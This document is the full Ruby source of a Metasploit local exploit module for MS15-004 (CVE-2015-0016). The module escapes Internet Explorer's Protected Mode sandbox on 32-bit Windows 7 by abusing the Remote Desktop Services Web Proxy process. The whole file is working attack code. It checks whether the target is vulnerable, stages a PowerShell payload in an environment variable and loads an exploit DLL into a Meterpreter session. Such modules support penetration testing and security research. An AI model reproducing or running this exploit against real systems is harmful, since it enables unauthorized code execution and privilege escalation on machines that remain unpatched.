MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Exploit::Powershell  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape',  
'Description' => %q{  
This module abuses a process creation policy in Internet Explorer's sandbox, specifically  
the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape  
the Protected Mode, and execute code with Medium Integrity. At the moment, this module only  
bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This module has been tested  
successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # From Threat Intel of Symantec  
'Henry Li', # Public vulnerability analysis  
'juan vazquez' # Metasploit module  
],  
'Platform' => 'win',  
'SessionTypes' => ['meterpreter'],  
'Arch' => [ARCH_X86],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'WfsDelay' => 30  
},  
'Targets' =>  
[  
[ 'Protected Mode (Windows 7) / 32 bits',  
{  
'Arch' => ARCH_X86  
}  
]  
],  
'DefaultTarget' => 0,  
'Payload' =>  
{  
'Space' => 4096,  
'DisableNops' => true  
},  
'References' =>  
[  
['CVE', '2015-0016'],  
['MSB', 'MS15-004'],  
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/']  
],  
'DisclosureDate' => 'Jan 13 2015'  
}))  
end  
  
def check  
temp = get_env('WINDIR')  
dll_path = "#{temp}\\System32\\TSWbPrxy.exe"  
  
win_ver = sysinfo['OS']  
  
unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/  
return Exploit::CheckCode::Safe  
end  
  
unless file_exist?(dll_path)  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Detected  
end  
  
def exploit  
print_status('Checking target...')  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::NotVulnerable, 'System not vulnerable')  
end  
  
if session.platform !~ /^x86\//  
fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')  
end  
  
win_ver = sysinfo['OS']  
if win_ver =~ /Windows 2012|Windows 8/  
fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')  
end  
  
print_status('Checking the Process Integrity Level...')  
  
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NotVulnerable, 'Not running at Low Integrity')  
end  
  
cmd = cmd_psh_payload(  
payload.encoded,  
payload_instance.arch.first,  
{ :remove_comspec => true }  
)  
  
print_status('Storing payload on environment variable...')  
cmd.gsub!('powershell.exe ','')  
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)  
  
print_status('Exploiting...')  
temp = get_env('TEMP')  
# Using the old meterpreter loader, if it's loaded with  
# Reflective DLL Injection the exceptions in the sandbox  
# policy won't apply.  
session.core.load_library(  
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'),  
'TargetFilePath' => temp + '\\cve-2015-0016.dll',  
'UploadLibrary' => true,  
'Extension' => false,  
'SaveToDisk' => false  
)  
end  
  
def cleanup  
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)  
super  
end  
  
end  
`